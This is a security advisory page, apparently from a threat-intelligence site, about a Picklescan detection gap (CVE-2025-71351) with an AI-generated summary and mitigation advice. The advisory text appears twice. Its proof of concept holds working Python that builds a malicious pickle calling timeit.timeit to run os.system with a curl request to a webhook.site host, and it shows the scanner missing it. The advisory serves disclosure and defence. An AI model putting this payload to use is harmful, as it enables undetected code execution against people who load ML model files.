Picklescan missing detection when calling built-in python library function timeit.timeit() (CVE-2025-71351)
### Summary Using timeit.timeit() function, which is a built-in python library function to execute remote pickle file. ### Details Pickle’s deserialization process is known to allow execution of function via reduce method. While Picklescan is meant to detect such exploits, this attack evades detection by calling built-in python library function like **timeit.timeit()**. And since timeit library wasn't inside unsafe globals blacklist, it may not raise red flag in the security scan. The attack payload executes in the following steps: First, the attacker craft the payload by calling to **timeit.timeit()** function from timeit library in __reduce__ method Then, inside reduce method, the attacker import dangerous libarary like os and calling **os.system()** to run OS commands, for example: curl command. And then the attacker send this malicious pickle file to the victim. Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution. ### PoC 1. The attacker crafted a malicious pickle file using built-in python library function timeit.timeit() ``` import pickle import timeit class Payload(object): def __reduce__(self): return timeit.timeit, ('','import os; os.system("curl https://webhook.site/95f3e1c3-ee37-4a5a-8544-ab4ce93475f6")') def create_payload(): with open('payload.pickle', 'wb') as f: pickle.dump(Payload(), f) create_payload() ``` Then the attacker will send this pickle file to the victim computer and maybe the victim load this pickle using pickle.load() 2. The victim will use picklescan library to check out if the received pickle file is malicious or not ``` picklescan -p payload.pickle ----------- SCAN SUMMARY ----------- Scanned files: 1 Infected files: 0 Dangerous globals: 0 ``` 3. Beliving that this pickle file is safe using modelscan, the victim then load this pickle file which will trigger timeit.timeit command to execute OS commands (in my example, it was curl command) ``` import pickle def load_payload(): with open('payload.pickle', 'rb') as f: pickle.load(f) load_payload() ``` ### Impact Severity: High Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects. ### Recommended Solution I suggest adding timeit library to the unsafe globals blacklist.
AI Analysis
Technical Summary
This vulnerability involves Picklescan's inability to detect malicious pickle files that exploit the timeit.timeit() function. The attack payload uses the __reduce__ method to call timeit.timeit(), which is not blacklisted by Picklescan's unsafe globals. Inside this call, the attacker imports dangerous libraries such as os and executes OS commands (e.g., curl). When Picklescan scans such a pickle file, it does not flag it as dangerous, leading victims to load the file with pickle.load(), resulting in remote code execution.
Potential Impact
Any user or organization relying on Picklescan to detect malicious pickle files in PyTorch models or other Python objects is at risk. The vulnerability allows attackers to embed malicious code that evades detection and executes upon loading the pickle file. This can facilitate supply chain attacks by distributing infected pickle files across machine learning models, APIs, or saved Python objects.
Mitigation Recommendations
A patch is available for Picklescan to address this vulnerability. The recommended solution is to update Picklescan to a version 0.0.25 or later that includes timeit in the unsafe globals blacklist. Users should apply this official fix to prevent evasion of detection via timeit.timeit().
Picklescan missing detection when calling built-in python library function timeit.timeit() (CVE-2025-71351)
Description
### Summary Using timeit.timeit() function, which is a built-in python library function to execute remote pickle file. ### Details Pickle’s deserialization process is known to allow execution of function via reduce method. While Picklescan is meant to detect such exploits, this attack evades detection by calling built-in python library function like **timeit.timeit()**. And since timeit library wasn't inside unsafe globals blacklist, it may not raise red flag in the security scan. The attack payload executes in the following steps: First, the attacker craft the payload by calling to **timeit.timeit()** function from timeit library in __reduce__ method Then, inside reduce method, the attacker import dangerous libarary like os and calling **os.system()** to run OS commands, for example: curl command. And then the attacker send this malicious pickle file to the victim. Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution. ### PoC 1. The attacker crafted a malicious pickle file using built-in python library function timeit.timeit() ``` import pickle import timeit class Payload(object): def __reduce__(self): return timeit.timeit, ('','import os; os.system("curl https://webhook.site/95f3e1c3-ee37-4a5a-8544-ab4ce93475f6")') def create_payload(): with open('payload.pickle', 'wb') as f: pickle.dump(Payload(), f) create_payload() ``` Then the attacker will send this pickle file to the victim computer and maybe the victim load this pickle using pickle.load() 2. The victim will use picklescan library to check out if the received pickle file is malicious or not ``` picklescan -p payload.pickle ----------- SCAN SUMMARY ----------- Scanned files: 1 Infected files: 0 Dangerous globals: 0 ``` 3. Beliving that this pickle file is safe using modelscan, the victim then load this pickle file which will trigger timeit.timeit command to execute OS commands (in my example, it was curl command) ``` import pickle def load_payload(): with open('payload.pickle', 'rb') as f: pickle.load(f) load_payload() ``` ### Impact Severity: High Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects. ### Recommended Solution I suggest adding timeit library to the unsafe globals blacklist.
CVSS v4.0
Affected software
Run on your own infrastructure? Check whether these packages are installed with threat-finder — our free open-source scanner.
Weaknesses
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
This vulnerability involves Picklescan's inability to detect malicious pickle files that exploit the timeit.timeit() function. The attack payload uses the __reduce__ method to call timeit.timeit(), which is not blacklisted by Picklescan's unsafe globals. Inside this call, the attacker imports dangerous libraries such as os and executes OS commands (e.g., curl). When Picklescan scans such a pickle file, it does not flag it as dangerous, leading victims to load the file with pickle.load(), resulting in remote code execution.
Potential Impact
Any user or organization relying on Picklescan to detect malicious pickle files in PyTorch models or other Python objects is at risk. The vulnerability allows attackers to embed malicious code that evades detection and executes upon loading the pickle file. This can facilitate supply chain attacks by distributing infected pickle files across machine learning models, APIs, or saved Python objects.
Mitigation Recommendations
A patch is available for Picklescan to address this vulnerability. The recommended solution is to update Picklescan to a version 0.0.25 or later that includes timeit in the unsafe globals blacklist. Users should apply this official fix to prevent evasion of detection via timeit.timeit().
Technical Details
- Gcve Source
- db.gcve.eu
- Osv Id
- GHSA-v7x6-rv5q-mhwc
- Osv Schema Version
- 1.4.0
- Aliases
- ["CVE-2025-71351"]
- Ecosystems
- ["PyPI"]
- Database Specific Severity
- MODERATE
- Cvss Version
- 4.0
Threat ID: 6aa47eb655bf5e2cf585795f
Added to database: 09/11/2026, 22:20:38 UTC
Last enriched: 09/11/2026, 23:05:42 UTC
Last updated: 09/12/2026, 02:01:23 UTC
Views: 3
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.